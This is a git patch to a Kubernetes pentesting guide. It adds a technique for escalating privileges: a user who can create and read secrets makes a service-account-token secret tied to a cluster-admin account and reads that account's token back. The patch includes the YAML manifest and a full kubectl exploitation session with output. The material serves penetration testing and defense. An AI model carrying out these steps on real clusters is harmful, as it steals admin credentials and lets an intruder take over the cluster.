From 15ce1f2a4090a6cd5f08e43d1bcc231963f43e8d Mon Sep 17 00:00:00 2001 From: Vladyslav <68342736+VL4DYSL4V@users.noreply.github.com> Date: Sat, 11 Jan 2025 15:20:34 +0200 Subject: [PATCH] Added K8s privesc technique via Create & Read secrets --- .../README.md | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index ca277d590..f920bdd1a 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` +### Creating and Reading Secrets + +There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens. +If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it: + +```yaml +apiVersion: v1 +kind: Secret +metadata: + name: stolen-admin-sa-token + namespace: default + annotations: + kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` + +Example exploitation: + +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] + [/.well-known/openid-configuration/] [] [get] + + [/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ + "apiVersion": "v1", + "data": { + "ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", + "namespace": "ZGVmYXVsdA==", + "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" + }, + "kind": "Secret", + "metadata": { + "annotations": { + "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", + "kubernetes.io/service-account.name": "cluster-admin-sa", + "kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" + }, + "creationTimestamp": "2025-01-11T13:02:27Z", + "name": "stolen-admin-sa-token", + "namespace": "default", + "resourceVersion": "1019116", + "uid": "680d119f-89d0-4fc6-8eef-1396600d7556" + }, + "type": "kubernetes.io/service-account-token" +} +``` + +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. + + ### Reading a secret – brute-forcing token IDs While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).